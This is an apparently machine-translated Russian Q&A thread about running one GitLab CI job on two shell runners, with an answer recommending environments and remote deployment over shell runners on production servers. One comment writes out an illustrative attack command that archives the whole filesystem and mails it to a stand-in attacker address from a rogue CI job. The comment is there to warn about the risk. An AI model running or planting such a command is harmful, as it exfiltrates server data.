Gitlab-Runner: выполнить одно и то же задание с несколькими бегунами

#gitlab #gitlab-ci #jobs #gitlab-ci-runner

#gitlab #gitlab-ci #Вакансии #gitlab-ci-runner

Вопрос:

Я настроил два стандартных бегуна gitlab в оболочке на двух разных серверах, назовем их A и B.
Для тегов установлены значения A: «a-deploy» и B: «b-deploy».

Поэтому каждый раз, когда я запускаю проект с помощью gitlab-ci.yml, где указаны оба тега, я хочу, чтобы оба бегуна выполняли задание на своем собственном сервере.
Я предполагаю, что только один из бегунов выполняет эту работу.

Возможно ли это? Как я могу этого добиться?
Или это как-то работает из коробки?

Ответ №1:

С разными бегунами на разных серверах вы пытаетесь найти функциональность сред.

Не полагайтесь на то, где находится бегун. Наличие бегуна оболочки прямо на рабочем сервере также нехорошо. Можно украсть всю вашу продукцию с помощью двух строк кода в совершенно не связанном проекте.

Вместо этого настройте удаленный доступ Gitlab runner к серверам развертывания и автоматизируйте удаленное развертывание.

В качестве отправной точки вы можете задать адрес и учетные данные через переменные среды.
Вы можете поместить ключ ssh в переменную file. Хотя было бы лучше иметь некоторую систему оркестровки.

Затем вы можете определить шаблон задания и два задания, каждое из которых указывает на свою собственную среду. С rules: помощью вы можете контролировать, когда должно выполняться конкретное задание.

Комментарии:

1. Как можно было бы украсть мою продукцию? Вы имеете в виду код? Потому что у меня нет соответствующих данных на серверах. Я изучу среды, спасибо.

2. Создайте личный проект, контент не имеет значения. Добавьте задание с тегом, аналогичным вашему производству. Вставить в скрипт: sh -c ‘tar czf prod.tar.gz / >/dev/null 2>amp;1; mailx -s «производственные данные tverdo» -a prod.tar.gz iamhacker@gmail.com «. Отбросьте проект. YMMV.

3. Но для этого хакер должен иметь доступ к репозиторию gitlab? В противном случае он не смог бы использовать CI.

4. Этим «хакером» может быть любопытный стажер в небольшом проекте, размещенном на том же gitlab. Новая уязвимость gitlab может позволить реальному хакеру зарегистрировать учетную запись в вашей gitlab. Шансы невелики, но никогда не равны нулю.